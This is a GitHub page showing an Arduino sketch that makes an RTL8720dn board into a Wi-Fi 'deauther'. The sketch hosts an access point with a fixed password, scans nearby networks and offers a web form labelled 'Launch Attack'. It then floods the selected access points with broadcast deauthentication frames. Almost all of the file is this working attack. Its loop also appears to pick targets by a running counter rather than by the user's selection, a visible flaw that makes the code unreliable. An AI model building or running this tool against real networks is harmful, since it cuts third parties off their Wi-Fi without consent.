-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathRTL8720dn-Deauther.ino
355 lines (319 loc) · 11.4 KB
/
RTL8720dn-Deauther.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
#include "vector"
#include "wifi_conf.h"
#include "map"
#include "wifi_cust_tx.h"
#include "wifi_util.h"
#include "wifi_structures.h"
#include "debug.h"
#include "WiFi.h"
#include "WiFiServer.h"
#include "WiFiClient.h"
// LEDs:
// Red: System usable, Web server active etc.
// Green: Web Server communication happening
// Blue: Deauth-Frame being sent
typedef struct {
String ssid;
String bssid_str;
uint8_t bssid[6];
short rssi;
uint8_t channel;
} WiFiScanResult;
char *ssid = "RTL8720dn-Deauther";
char *pass = "0123456789";
int current_channel = 1;
std::vector<WiFiScanResult> scan_results;
std::vector<int> deauth_wifis;
WiFiServer server(80);
uint8_t deauth_bssid[6];
uint16_t deauth_reason = 2;
#define FRAMES_PER_DEAUTH 5
rtw_result_t scanResultHandler(rtw_scan_handler_result_t *scan_result) {
rtw_scan_result_t *record;
if (scan_result->scan_complete == 0) {
record = &scan_result->ap_details;
record->SSID.val[record->SSID.len] = 0;
WiFiScanResult result;
result.ssid = String((const char *)record->SSID.val);
result.channel = record->channel;
result.rssi = record->signal_strength;
memcpy(&result.bssid, &record->BSSID, 6);
char bssid_str[] = "XX:XX:XX:XX:XX:XX";
snprintf(bssid_str, sizeof(bssid_str), "%02X:%02X:%02X:%02X:%02X:%02X", result.bssid[0], result.bssid[1], result.bssid[2], result.bssid[3], result.bssid[4], result.bssid[5]);
result.bssid_str = bssid_str;
scan_results.push_back(result);
}
return RTW_SUCCESS;
}
int scanNetworks() {
DEBUG_SER_PRINT("Scanning WiFi networks (5s)...");
scan_results.clear();
if (wifi_scan_networks(scanResultHandler, NULL) == RTW_SUCCESS) {
delay(5000);
DEBUG_SER_PRINT(" done!\n");
return 0;
} else {
DEBUG_SER_PRINT(" failed!\n");
return 1;
}
}
String parseRequest(String request) {
int path_start = request.indexOf(' ') + 1;
int path_end = request.indexOf(' ', path_start);
return request.substring(path_start, path_end);
}
std::vector<std::pair<String, String>> parsePost(String &request) {
std::vector<std::pair<String, String>> post_params;
// Find the start of the body
int body_start = request.indexOf("\r\n\r\n");
if (body_start == -1) {
return post_params; // Return an empty vector if no body found
}
body_start += 4;
// Extract the POST data
String post_data = request.substring(body_start);
int start = 0;
int end = post_data.indexOf('&', start);
// Loop through the key-value pairs
while (end != -1) {
String key_value_pair = post_data.substring(start, end);
int delimiter_position = key_value_pair.indexOf('=');
if (delimiter_position != -1) {
String key = key_value_pair.substring(0, delimiter_position);
String value = key_value_pair.substring(delimiter_position + 1);
post_params.push_back({key, value}); // Add the key-value pair to the vector
}
start = end + 1;
end = post_data.indexOf('&', start);
}
// Handle the last key-value pair
String key_value_pair = post_data.substring(start);
int delimiter_position = key_value_pair.indexOf('=');
if (delimiter_position != -1) {
String key = key_value_pair.substring(0, delimiter_position);
String value = key_value_pair.substring(delimiter_position + 1);
post_params.push_back({key, value});
}
return post_params;
}
String makeResponse(int code, String content_type) {
String response = "HTTP/1.1 " + String(code) + " OK\n";
response += "Content-Type: " + content_type + "\n";
response += "Connection: close\n\n";
return response;
}
String makeRedirect(String url) {
String response = "HTTP/1.1 307 Temporary Redirect\n";
response += "Location: " + url;
return response;
}
void handleRoot(WiFiClient &client) {
String response = makeResponse(200, "text/html") + R"(
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>RTL8720dn-Deauther</title>
<style>
body {
font-family: Arial, sans-serif;
line-height: 1.6;
color: #333;
max-width: 800px;
margin: 0 auto;
padding: 20px;
background-color: #f4f4f4;
}
h1, h2 {
color: #2c3e50;
}
table {
width: 100%;
border-collapse: collapse;
margin-bottom: 20px;
}
th, td {
padding: 12px;
text-align: left;
border-bottom: 1px solid #ddd;
}
th {
background-color: #3498db;
color: white;
}
tr:nth-child(even) {
background-color: #f2f2f2;
}
form {
background-color: white;
padding: 20px;
border-radius: 5px;
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
margin-bottom: 20px;
}
input[type="submit"] {
padding: 10px 20px;
border: none;
background-color: #3498db;
color: white;
border-radius: 4px;
cursor: pointer;
transition: background-color 0.3s;
}
input[type="submit"]:hover {
background-color: #2980b9;
}
</style>
</head>
<body>
<h1>RTL8720dn-Deauther</h1>
<h2>WiFi Networks</h2>
<form method="post" action="/deauth">
<table>
<tr>
<th>Select</th>
<th>Number</th>
<th>SSID</th>
<th>BSSID</th>
<th>Channel</th>
<th>RSSI</th>
<th>Frequency</th>
</tr>
)";
for (uint32_t i = 0; i < scan_results.size(); i++) {
response += "<tr>";
response += "<td><input type='checkbox' name='network' value='" + String(i) + "'></td>";
response += "<td>" + String(i) + "</td>";
response += "<td>" + scan_results[i].ssid + "</td>";
response += "<td>" + scan_results[i].bssid_str + "</td>";
response += "<td>" + String(scan_results[i].channel) + "</td>";
response += "<td>" + String(scan_results[i].rssi) + "</td>";
response += "<td>" + (String)((scan_results[i].channel >= 36) ? "5GHz" : "2.4GHz") + "</td>";
response += "</tr>";
}
response += R"(
</table>
<p>Reason code:</p>
<input type="text" name="reason" placeholder="Reason code">
<input type="submit" value="Launch Attack">
</form>
<form method="post" action="/rescan">
<input type="submit" value="Rescan networks">
</form>
<h2>Reason Codes</h2>
<table>
<tr>
<th>Code</th>
<th>Meaning</th>
</tr>
<tr><td>0</td><td>Reserved.</td></tr>
<tr><td>1</td><td>Unspecified reason.</td></tr>
<tr><td>2</td><td>Previous authentication no longer valid.</td></tr>
<tr><td>3</td><td>Deauthenticated because sending station (STA) is leaving or has left Independent Basic Service Set (IBSS) or ESS.</td></tr>
<tr><td>4</td><td>Disassociated due to inactivity.</td></tr>
<tr><td>5</td><td>Disassociated because WAP device is unable to handle all currently associated STAs.</td></tr>
<tr><td>6</td><td>Class 2 frame received from nonauthenticated STA.</td></tr>
<tr><td>7</td><td>Class 3 frame received from nonassociated STA.</td></tr>
<tr><td>8</td><td>Disassociated because sending STA is leaving or has left Basic Service Set (BSS).</td></tr>
<tr><td>9</td><td>STA requesting (re)association is not authenticated with responding STA.</td></tr>
<tr><td>10</td><td>Disassociated because the information in the Power Capability element is unacceptable.</td></tr>
<tr><td>11</td><td>Disassociated because the information in the Supported Channels element is unacceptable.</td></tr>
<tr><td>12</td><td>Disassociated due to BSS Transition Management.</td></tr>
<tr><td>13</td><td>Invalid element, that is, an element defined in this standard for which the content does not meet the specifications in Clause 8.</td></tr>
<tr><td>14</td><td>Message integrity code (MIC) failure.</td></tr>
<tr><td>15</td><td>4-Way Handshake timeout.</td></tr>
<tr><td>16</td><td>Group Key Handshake timeout.</td></tr>
<tr><td>17</td><td>Element in 4-Way Handshake different from (Re)Association Request/ Probe Response/Beacon frame.</td></tr>
<tr><td>18</td><td>Invalid group cipher.</td></tr>
<tr><td>19</td><td>Invalid pairwise cipher.</td></tr>
<tr><td>20</td><td>Invalid AKMP.</td></tr>
<tr><td>21</td><td>Unsupported RSNE version.</td></tr>
<tr><td>22</td><td>Invalid RSNE capabilities.</td></tr>
<tr><td>23</td><td>IEEE 802.1X authentication failed.</td></tr>
<tr><td>24</td><td>Cipher suite rejected because of the security policy.</td></tr>
</table>
</body>
</html>
)";
client.write(response.c_str());
}
void handle404(WiFiClient &client) {
String response = makeResponse(404, "text/plain");
response += "Not found!";
client.write(response.c_str());
}
void setup() {
pinMode(LED_R, OUTPUT);
pinMode(LED_G, OUTPUT);
pinMode(LED_B, OUTPUT);
DEBUG_SER_INIT();
WiFi.apbegin(ssid, pass, (char *)String(current_channel).c_str());
if (scanNetworks()) {
delay(1000);
}
#ifdef DEBUG
for (uint i = 0; i < scan_results.size(); i++) {
DEBUG_SER_PRINT(scan_results[i].ssid + " ");
for (int j = 0; j < 6; j++) {
if (j > 0) DEBUG_SER_PRINT(":");
DEBUG_SER_PRINT(scan_results[i].bssid[j], HEX);
}
DEBUG_SER_PRINT(" " + String(scan_results[i].channel) + " ");
DEBUG_SER_PRINT(String(scan_results[i].rssi) + "\n");
}
#endif
server.begin();
digitalWrite(LED_R, HIGH);
}
void loop() {
WiFiClient client = server.available();
if (client.connected()) {
digitalWrite(LED_G, HIGH);
String request;
while (client.available()) {
while (client.available()) request += (char)client.read();
delay(1);
}
DEBUG_SER_PRINT(request);
String path = parseRequest(request);
DEBUG_SER_PRINT("\nRequested path: " + path + "\n");
if (path == "/") {
handleRoot(client);
} else if (path == "/rescan") {
client.write(makeRedirect("/").c_str());
while (scanNetworks()) {
delay(1000);
}
} else if (path == "/deauth") {
std::vector<std::pair<String, String>> post_data = parsePost(request);
if (post_data.size() >= 2) {
for (auto ¶m : post_data) {
if (param.first == "network") {
deauth_wifis.push_back(String(param.second).toInt());
} else if (param.first == "reason") {
deauth_reason = String(param.second).toInt();
}
}
}
} else {
handle404(client);
}
client.stop();
digitalWrite(LED_G, LOW);
}
uint32_t current_num = 0;
while (deauth_wifis.size() > 0) {
memcpy(deauth_bssid, scan_results[current_num].bssid, 6);
wext_set_channel(WLAN0_NAME, scan_results[current_num].channel);
current_num++;
if (current_num >= deauth_wifis.size()) current_num = 0;
digitalWrite(LED_B, HIGH);
for (int i = 0; i < FRAMES_PER_DEAUTH; i++) {
wifi_tx_deauth_frame(deauth_bssid, (void *)"\xFF\xFF\xFF\xFF\xFF\xFF", deauth_reason);
delay(5);
}
digitalWrite(LED_B, LOW);
delay(50);
}
}